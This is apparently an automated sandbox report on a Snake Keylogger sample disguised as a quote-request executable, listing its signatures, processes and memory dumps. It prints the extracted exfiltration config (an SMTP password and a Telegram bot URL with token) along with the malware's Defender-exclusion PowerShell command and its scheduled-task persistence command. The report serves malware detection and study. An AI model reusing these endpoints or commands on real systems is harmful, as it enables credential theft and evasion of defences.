Analysis
- max time kernel
64s - max time network
125s - platform
windows7_x64 - resource
win7-20220812-en - resource tags
- submitted
12/01/2023, 15:04
General
- Target Muneeb RFQ-43842 Need Offer.exe
- Size 801KB
- Sample230112-sfnnzacb3x
- SHA256 53ea6b76054fdccbe2b129aa71ffadfd5a24bc8dcea34b05e5a7aadf39966a41
Malware Config
Extracted
-
snakekeylogger
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Protocol
smtp
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Host
mail.alwethba.com
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Port
587
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Username
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Password
BI21Awe7zW
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Email to
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https://api.telegram.org/bot5814180506:AAFpVfxl9CBszzsUeg8FTylBwiTKUc4g3lA/sendMessage?chat_id=5056270248
Signatures
- Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
- Snake Keylogger payload 6 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 17 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\Muneeb RFQ-43842 Need Offer.exe"C:\Users\Admin\AppData\Local\Temp\Muneeb RFQ-43842 Need Offer.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\znRTQROuLj.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\znRTQROuLj" /XML "C:\Users\Admin\AppData\Local\Temp\tmp986A.tmp"2⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\Muneeb RFQ-43842 Need Offer.exe"C:\Users\Admin\AppData\Local\Temp\Muneeb RFQ-43842 Need Offer.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
tmp986A.tmp
memory/472-64-0x0000000000400000-0x0000000000426000-memory.dmp
memory/472-75-0x0000000000400000-0x0000000000426000-memory.dmp
memory/472-73-0x0000000000400000-0x0000000000426000-memory.dmp
memory/472-70-0x0000000000400000-0x0000000000426000-memory.dmp
memory/472-69-0x0000000000400000-0x0000000000426000-memory.dmp
memory/472-67-0x0000000000400000-0x0000000000426000-memory.dmp
memory/472-65-0x0000000000400000-0x0000000000426000-memory.dmp
memory/856-58-0x0000000000D10000-0x0000000000D72000-memory.dmp
memory/856-63-0x0000000004540000-0x0000000004568000-memory.dmp
memory/856-54-0x0000000000D80000-0x0000000000E4E000-memory.dmp
memory/856-57-0x0000000000420000-0x000000000042A000-memory.dmp
memory/856-56-0x00000000003C0000-0x00000000003D6000-memory.dmp
memory/856-55-0x0000000075931000-0x0000000075933000-memory.dmp
memory/1636-77-0x000000006E950000-0x000000006EEFB000-memory.dmp
memory/1636-78-0x000000006E950000-0x000000006EEFB000-memory.dmp